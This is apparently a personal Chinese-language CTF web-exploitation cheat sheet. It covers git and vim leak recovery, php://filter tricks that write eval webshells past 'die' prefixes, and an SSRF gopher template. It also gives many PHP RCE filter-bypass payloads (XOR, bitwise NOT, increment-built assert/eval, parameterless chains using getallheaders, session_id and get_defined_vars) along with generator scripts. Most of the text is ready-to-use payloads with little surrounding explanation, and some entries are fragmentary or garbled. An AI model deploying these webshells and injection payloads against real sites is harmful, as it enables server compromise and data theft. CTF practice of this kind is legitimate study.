Git泄露之修复文件指令
今天在做一道git泄露的时候发现了一个用于恢复文件的指令,记录下来
只需要进入到那个文件的目录,打开终端,然后输入指令
git log --reflog
然后再
git reset --hard +橙色字符串就可以了
在做到香港赛的一道题目的时候,使用GitHack提取的文件里头是没有东西的,考的是很原始的git泄露,导致我一度不会做,然后它就是要cd进入这个文件,然后git regflog,得到一串非head的回显
可以看到head并不能将他识别,说明这段指令是非head,于是我们进入其中,使用指令
git checkout id
然后命令执行即可。
如果上面的方法产生报错,那么还有一种方法是
关于踩过的一些坑
这是因为我们没有推出当前git目录,这些HEAD就相当于git文件的历史目录,想要进入这些历史目录就得先退出来
Vim泄露
关于vim泄露的题目我也做的不多,目前只知道,如果有vim泄露,就会有一个叫 .index.php.swp的文件,这个时候他是损坏的,必须要到kali上用指令恢复
vim -r 文件名
PHP死亡绕过
典型的就是会拼接die函数,die会让进程停止,导致没法进行注入。那么绕过的方法就是使用php伪协议进行绕过,$file表示的是伪协议读取的文件,然后$a是编码后的内容,这样子就可以做到写入木马。
1.rot13绕过
#下放url编码为php://filter/write=string.rot13/resource=6.php的两次url编码
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%36%25%32%65%25%37%30%25%36%38%25%37%30
#post传
content=<?cuc riny($_CBFG[1]);?>
#为<?php eval($_POST[1])?>
2.base64绕过
base64解码时会自动跳过不认识的字符,如空格,括号,中文等
<?php die('nonono');?>base64解码只解码phpdie,而base64是四个字符解码四个字符的,所以可以填充两个字符,造成php代码失效,而一句话木马能够解码成功
#file=php://filter/write=convert.base64-decode/resource=b.php两次url编码
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%32%25%32%65%25%37%30%25%36%38%25%37%30
#post
content=11PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
#base64解码<?php @eval($_POST[1]);?>
#两位两位的互换位置
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=3.php
#post
?<hp pvela$(P_SO[T]1;)>?
#
php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
#
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
#base64编码:<?php @eval($_POST[1]);?>
MD5万能密码
ffifdyop
特殊MD5值
0e215962017的MD5值等于它本身
SSRF的POST模板
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--
将其进行url编码之前,需要用代码将其中的%0A全部替换成%0D%0A,再用上SSRF的语句:?url=gopher://127.0.0.1:80/_上面的两次url编码
替换代码
def replace_keyword(text, keyword, replacement):
return text.replace(keyword, replacement)
if __name__ == "__main__":
text = ""
keyword = input("Enter the keyword to replace: ")
replacement = input("Enter the replacement word: ")
new_text = replace_keyword(text, keyword, replacement)
print("New text: ", new_text)
普通RCE
空格过滤:
< 、 <> 、%20(space) 、%09(tab) 、$IFS$9 、${IFS} 、$IFS
大括号{}:
{cat,flag.php}
一些命令分隔符 :
linux : %0a(回车) 、%0d(换行)、; 、& 、| 、&& 、||
windows : %0a 、& 、| 、%1a(作为.bat文件中的命令分隔符)
黑名单绕过:
偶读拼接:
a=fl;b=ag;cat $a$b
拼接绕过:
(sy.(st).em)
内敛执行代替:
echo `ls`; echo $(ls) ; ?><?=
`ls` ; ?><?=$(ls) ;
<?=`ls`;?> #等效于<?php echo
·ls /·;>
编码绕过:
echo `…………..` |base64 -d 1.txt
单反引号绕过:
括号绕过:
构造include函数就可以不用括号
分号绕过:
?> || %0a(换着用一用,总是能出来的)
利用特殊变量绕过:
$@ ; $1 ; $2
ca$@t fla$@g或者是ca$1t fla$2g
linux查看文件的命令:(cat被过滤)
- more:一页一页显示
- less:与more相似
- head:查看头几行
- tac(常用):从最后一行开始显示
- tail:查看尾几行
- nl(常用):显示内容的同时,顺便显示行号
- od:以二进制的方式读取
- vi:编译器
- vim:编译器
- sort:可以查看
- uniq:可以查看
- file -f
- strings
- paste
- rev(反序输出),但是有局限性,不知道为什么在国赛题里头不能回显出mysql
- passthru
- dd if=文件路径
- diff –recursive / 文件路径
- pr 这个命令也是输出命令,但是不知道为什么,国赛题就是不行的
一些神奇的招式
$(())可以用来计算数学公式
当$(())为空时,为零
前置知识:当a=~b时,a+b=-1
于是就有了
然后我们就可以用它来构造数字造成一些数字过滤绕过
payload:10=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
用数组遍历方式输出所有文件
c=?><?php //前面的?>用来闭合<?
$a=new DirectoryIterator("glob:///*"); //php使用glob遍历文件夹
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>
还有一个简单版的
c=
$a=scandir("/");
foreach($a as $value){
echo $value." ";
}
sql语句读取数据库文件
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f -> __toString().' ');
}
exit();
?>
//web75 flag在 /flag36.txt;web76 flag在 /flag36d.txt
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
//我看不太懂,只能先抄个答案了
无字母RCE
按理来说有三种方法:异或、自增、取反
取反RCE
#取反代码
<?php
$a=urlencode(~"system");
$b=urlencode(~"cat /f*");
$wllm="(~$a)(~$b)";
echo $wllm;
?>
突然发现上面的取反代码具有局限性,因为上面需要代码逻辑上有两个参数才能拼接,下面给出单个参数的情况下,所需要的取反代码
exp = ""
def urlbm(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:]
return f"[~{ss}][!%FF]("
while True:
fun = input("Firebasky>: ").strip(")").split("(")
exp = ''
for each in fun[:-1]:
exp += urlbm(each)
print(exp)
exp += ")" * (len(fun) - 1) + ";"
print(exp)
如果我输入phpinfo()的话,会构造出[~%8f%97%8f%96%91%99%90][!%FF]();这样的语句,那为什么会有[!%FF],因为我们是将多个字符串取反,但是得要将取反的内容进行拼接,于是这里就用到了二维数组的拼接,这里被认为是二维数组拼接的参数。
异或RCE(字符串异或构造简单版)
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ " answer = 'phpinfo' tmp1, tmp2 = '', '' for c in answer: for i in valid: for j in valid: if (ord(i) ^ ord(j) == ord(c)): tmp1 += i tmp2 += j break else: continue break print(tmp1, tmp2)
自增RCE
//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();
再添加一个自增
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
相当于@eval($_POST[_])
url编码的话可以选择赛博厨子,记得勾选Encode all special chars
再添加一个自增🐎
_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");
<=120自增RCE
$_=[].'_'; //空数组拼接一个字符,会将空数组变成字符串Array
$__=$_[1];//$__是r
$_=$_[0];//$_这时是A
$_++;//$_这时是B,每++一次就是下一个字母
$_++;//C
$_0=$_;//把c给$_0
$_++;//D
$_++;//E
$_++;//F
$_++;//G
$_=$_0.++$_.$__;//$_=CHr
$_='_'.$_(71).$_(69).$_(84); //$_='_'.CHR(71).CHR(69).CHR(84) -> $_=_GET
//$$_[1]($$_[2]);//$_GET[1]($_GET[2])
于是我们就可以构造出以下payload
$_%3d[]._%3b$__%3d$_[1]%3b$_%3d$_[0]%3b$_%2b%2b%3b$_0%3d%2b%2b$_%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%3d$_0.%2b%2b$_.$__%3b$_%3d_.$_(71).$_(69).$_(84)%3b$$_[1]($$_[2])%3b
最后再进行get传参即可,上面的代码其实就是展示了自增的思想在里头,然后利用chr进行拼接就可以不用自增到assert,从而减少了长度
<=105自增RCE
$_=([].[])[0]; //得到Array
$_=($_/$_.$_)[0]; //=N $_++; //O $=$_.$_++; //拼接PO
$_++;$_++;$_++; //S
$__.=$_;
$_++; //T
$_=.$_.$_; //拼接和POST $$0; //$_POST0
<=72自增RCE
<?php
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_=_.$_.++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])
%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f*
<=68自增RCE
$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起
$a=_.++$_.$a[$_++/$_++].++$_.++$_//$a直接拼接出_POST $$a[_POST]($$a[_])//$_POST[_POST]($_POST[_])
<=62自增RCE
<?PHP
$_=_(_._)[_];//N //本地使用就用(_._._)[_]
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[%FF]);
//将拼接放到同一行,真的太厉害了,我只能感叹一句nb
看到的一些奇招异式
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13%00%00"|"%60%60%20%2f"); // =system('ls /');
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
即:
${_GET}{%ff}();&%ff=phpinfo
//?shell=${_GET}{%ff}();&%ff=phpinfo
如果想要执行代函数的函数比如system('whoami')
,那我们可以对后面括号里的参数做相同的编码处理:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff^%88%97%90%9E%92%96);&%ff=system
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=readfile
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=highlight_file
// 即:
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('whoami');&%ff=system
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('flag.php');&%ff=readfile
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('flag.php');&%ff=highlight_file
同理,我们也可以直接进行取反:
${~%A0%B8%BA%AB}{%ff}();&%ff=phpinfo
${~%A0%B8%BA%AB}{%ff}(~%88%97%90%9E%92%96);&%ff=system
第一部分的奇招异式解析
A=%40 xor %13,
然后以此类推构造出想要的命令,例如system(‘ls’);
贴上羽神的脚本,用来获取密码集
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(2,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
脚本如下
# -*- coding: utf-8 -*-
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return output
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
第二部分奇招异式解析
$_GET[a]=${_GET}{a}
0xff即%ff和任何字符都可以异或
于是和上面的思路一样,就饿可以构造出来相应的payload
无参RCE之八进制绕过
先看结论,可以通过$’\xxx\xxx’的方式将八进制转换成shell命令。
再介绍一个特殊的参数$0
$0
可以表示当前脚本的文件名,在终端中,$0
其实就是bash本身。
然后我们还可以根据以下手法构造0和1
几种ls的写法
$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))\'
${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}${##}${##}))\'
然后这里再补充一下bash的相关知识。
Bash在执行命令之前,会对命令行进行一系列的扩展(expansions),这些扩展包括花括号扩展(brace expansion)、波浪号扩展(tilde expansion)、参数和变量扩展(parameter and variable expansion)、算术扩展(arithmetic expansion)、命令替换(command substitution)、单词分割(word splitting)和文件名扩展(filename expansion)等,最重要的是这些扩展的顺序是固定的,而且是从左到右进行的。
也就是说,bash shell 会先对命令行中的花括号进行扩展,然后再对波浪号进行扩展,依次类推,直到完成所有的扩展为止。
无参RCE
首先记录一段很有意思的rce代码
<?php
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']){
eval($_GET['exp']);
}
?>
如果‘;’===preg_replace(…),那么就执行exp传递的命令
\ : 转义字符不多说了
[a-z,]+ : [a-z,]匹配小写字母和下划线 +表示1到多个
(?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))
简单说来就是:这串代码检查了我们通过GET方式传入的exp参数的值,如果传进去的值是传进去的值是字符串接一个(),那么字符串就会被替换为空。如果(递归)替换后的字符串只剩下;,那么我们传进去的 exp 就会被 eval 执行。比如我们传入一个 phpinfo();,它被替换后就只剩下;,那么根据判断条件就会执行phpinfo();。
(?R)?能匹配的只有a(); a(b()); a(b(c()));这种类型的。比如传入a(b(c()));,第一次匹配后,就剩a(b());,第二次匹配后,a();,第三次匹配后就只剩下;了,最后a(b(c()));就会被eval执行。
常见绕过姿势:
getallheaders()
返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。正好implode()
这个函数就能胜任。
implode()
能够直接将getallheaders()
返回的数组转化为字符串。
payload:?exp=eval(implode(getallheaders()));
get_defined_vars():该函数的作用是获取所有的已定义变量,返回值也是数组。不过这个函数返回的是一个二维数组,所以不能与implode
结合起来用。将get_defined_vars()
的结果用var_dump()
输出结果如下:
payload: ?exp=var_dump(get_defined_vars());
var_dump()跟system很像,如果system()被过滤了,可以尝试使用var_dump(ls /);
在冲浪的时候还发现了几个可以替代system()的函数
- exec()
- shell_exec()
- popen()
- proc_open()
- pcntl_exec()
- 反引号 同shell_exec()
- passthru()
需要额外注意的是,这些函数都是需要借助echo函数才能回显,而system()函数可以直接回显
因为返回的数组会很多,于是我们会用到current()函数(读取二维数组中的第一个一维数组),如果current()函数被替换,可以使用pos()函数
- end() – 将内部指针指向数组中的最后一个元素,并输出
- next() – 将内部指针指向数组中的下一个元素,并输出
- prev() – 将内部指针指向数组中的上一个元素,并输出
- reset() – 将内部指针指向数组中的第一个元素,并输出
- each() – 返回当前元素的键名和键值,并将内部指针向前移动
根据这些来变换想要得到的数组内容,最后把数组内的数值进行替换。(说实话我拿了一道题目来实验,但是没有成功)
?exp=eval(end(current(get_defined_vars())));&shell=phpinfo();
感觉有点乱,整理一下做题思路:就是首先用?exp=var_dump(get_defined_vars());&b=1 传个参数进去,然后提取get参数的数组?exp=var_dump(current(get_defined_vars()));&b=1 但是这里有一个坑,就是这个是当get数组在第一位的时候的情况,如果是在其他位置的,我还不知道该怎么写。然后就是找到我们传进去的参数在get参数数组的第几位,如果是最后一位的话,那就是
exp=var_dump(end(current(get_defined_vars())));&b=1 这个时候看看页面上返回的是否是你上传的参数,如果是的话,就可以配合eval函数去rce了
?exp=eval(end(current(get_defined_vars())));&shell=phpinfo();
session_id()可以用来获取/设置当前会话 ID。
那么可以用这个函数来获取cookie中的phpsessionid了,并且这个值我们是可控的。
但其有限制:
文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 – (减号)解决方法:将参数转化为16进制传进去,之后再用hex2bin()函数转换回来就可以了。
hex2bin():转换16进制字符串为2进制字符串,注意:不是数字,如果是数字的话,应使用base_convert()
所以,payload可以为:?exp=eval(hex2bin(session_id()));
但session_id必须要开启session才可以使用,所以我们要先使用session_start。
最后,payload:?exp=eval(hex2bin(session_id(session_start())));
说到这里,这套组合拳还差了点东西,你还没写你要执行的代码!
不是才说道session_id()可以获取cookie中的phpsessionid,并且这个值我们是可控的吗?所以我们可以在http头中设置PHPSESSID为想要执行代码的16进制:hex(“phpinfo();”)=706870696e666f28293b
所以最终组合拳这样打:
如果无法使用hex2bin其实也是无所谓的,我们可以直接在phpsessid里头输入flag.php之类的数值。
配合使用的函数
- getchwd() 函数返回当前工作目录。
- dirname() 函数返回路径中的目录部分。
- scandir() 函数返回指定目录中的文件和目录的数组。
- chdir() 函数改变当前的目录。
- readfile() 输出一个文件。
- current() 返回数组中的当前单元, 默认取第一个值。
- pos() current() 的别名。
- next() 函数将内部指针指向数组中的下一个元素,并输出。
- end() 将内部指针指向数组中的最后一个元素,并输出。
- array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
- array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
- array_slice() 函数在数组中根据条件取出一段值,并返回。
- array_reverse() 函数返回翻转顺序的数组。
- chr() 函数从指定的 ASCII 值返回字符。
- hex2bin() — 转换十六进制字符串为二进制字符串。
- getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
- localeconv() 函数返回一包含本地数字及货币格式信息的数组。
总结几种常用的无参RCE公式化进点
1、scandir常规构造
这里贴一些别的代码
highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位
//查看和读取根目录文件
//查看和读取根目录文件
2、session_id()
使用条件:当请求头中有cookie时(或者走投无路手动添加cookie头也行,有些CTF题不会卡)
首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现
法一:hex2bin()
我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值
以下是十六进制编码脚本:
<?php
$encoded = bin2hex("phpinfo();");
echo $encoded;
?>
得到phpinfo();的十六进制编码,即706870696e666f28293b
那么payload就可以是:
?参数=eval(hex2bin(session_id(session_start())));
同时更改cookie后的值为想执行的命令的十六进制编码
法二:读文件
例题依然是[GXYCTF2019]禁止套娃,在知道文件名为flag.php的情况下直接读文件
如果已知文件名,把文件名写在PHPSESSID后面,构造payload为:
readfile(session_id(session_start()));
然后在cookie那里构造出想要查看的文件名
方法三:getallheaders()
getallheaders()返回当前请求的所有请求头信息,局限于Apache(apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)
当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:
system(end(getallheaders()));
这里用鹏城杯的题目来举例子
需要注意的是,如果使用的是end函数的话,那么请求头就要放在最后一个
如果使用的是
system(current(getallheaders()));
请求头就要放在第一位
方法四:get_defined_vars()
相较于getallheaders()更加具有普遍性,它可以回显全局变量$_GET、$_POST、$_FILES、$_COOKIE,
返回数组顺序为$_GET–>$_POST–>$_COOKIE–>$_FILES
首先确认是否有回显:
print_r(get_defined_vars()); //没有回显的话,多半是用不了
有的话就构造
a=eval(end(current(get_defined_vars())));&b=system('ls /');
一个是题目给的参数,另一个就是可以自己构造一个参数,然后给出恶意代码,不局限于eval,也可以是assert
常规无参RCE例题
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以看到过滤了很多的符号,这里可以尝试构造无参RCE
首先常规构造出scandir(‘.’);但是发现.号被过滤,使用poc(localeconv())构造.号
回显出flag.php的位置在倒数第二个,使用array_reverse()倒序数组,再用next()函数将指针移到下一位,最后用highlight_file()或者是show_source进行输出
payload:?c=show_source(next(array_reverse(scandir(poc(localeconv())))))
方法五:chdir()&array_rand()赌狗读文件
实在无法rce,可以考虑目录遍历进行文件读取
利用getcwd()
获取当前目录:
var_dump(getcwd());
结合dirname()列出当前工作目录的父目录中的所有文件和目录:
var_dump(scandir(dirname(getcwd())));
读上一级文件
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
算了这个写不下去了,以后有机会补上
常用的各种无参RCE的骚姿势
姿势一
?exp=print_r(scandir(current(localeconv())));
这个指令用来查看文件在数组中的位置
这里要知道一点:想要浏览目录内的所有文件我们常用函数scandir()
。当scandir()
传入.
,它就可以列出当前目录的所有文件。
但这里是无参数的RCE,我们不能写scandir(.)
,而localeconv()
却会有一个返回值,那个返回值正好就是.
再配合current()
或者pos()
不就可以把.
取出来传给scandir()
查看所有的文件了吗?
如果flag.php的位置不特殊,可以使用array_rand()和array_flip()(array_rand()返回的是键名所以必须搭配array_flip()来交换键名、键值来获得键值,函数作用上面有写到)来随机刷新显示的内容,刷几次就出来了,所以这种情况payload:?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));
姿势二
?num=var_dump(scandir(‘/’))) //读取根目录文件
可如果 ‘ ’ 或者是 / 被过滤时该怎么办呢,这个时候就需要,用chr() 函数来绕过,也就是ascii码绕过
?num=print_r(scandir(chr(47)));
然后就是读取文件
?num=print_r(file_get_contents(‘/flagg’));
?num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
目前见到的一些奇形怪状的RCE绕过方法
print_r(`ls`);
system(“cp flag.php 1.txt”); //然后访问1.txt
system(“/bin/base64 flag.php”);
var_dump(`ls`);
include$_GET[0]?>&0=data://text/plain,<?php phpinfo();?>
HEX编码:例如:tac flag–> 74616320666c6167
echo “74616320666c6167”|xxd -r -p|bash
printf(`ls`);
内敛替代执行:?code=?><?=l\s?>
print_r(glob(“*”));查看目录下文件
php -r ‘system(hex2bin(ff3b746163202f666c61672e747874));’ //16进制的内容为;tac /flag.txt,至于为什么16进制里要有ff,那是因为如果没有字符的话,而是纯数字的话,就会被判定为数字而不是字符串,就无法执行转换后的命令,然后ff转换后是不可见字符,所以对整体指令不会有任何影响。
若是单引号被禁用的话,可以用以下方法绕过
php -r $a=hex2bin(ff3b746163202f666c61672e747874);system($a);
system(“/usr/bin/bzip2 flag.php”);
常见MD5相等值
- s878926199a
- 0e545993274517709034328855841020
- s155964671a
- 0e342768416822451524974117254469
- s214587387a
- 0e848240448830537924465865611904
- s214587387a
- 0e848240448830537924465865611904
- s878926199a
- 0e545993274517709034328855841020
- s1665632922a
- 0e731198061491163073197128363787
- s1502113478a
- 0e861580163291561247404381396064
- s1836677006a
- 0e481036490867661113260034900752
- s1091221200a
- 0e940624217856561557816327384675
- NWWKITQ
- 0e763082070976038347657360817689
- NOOPCJF
- 0e818888003657176127862245791911
- MAUXXQC
- 0e478478466848439040434801845361
- MMHUWUV
- 0e701732711630150438129209816536
纯数字和纯字母md5相等
QNKCDZO
240610708
sha1解密为0e开头的
aaroZmOk
常规文件地址
robots.txt
readme.md
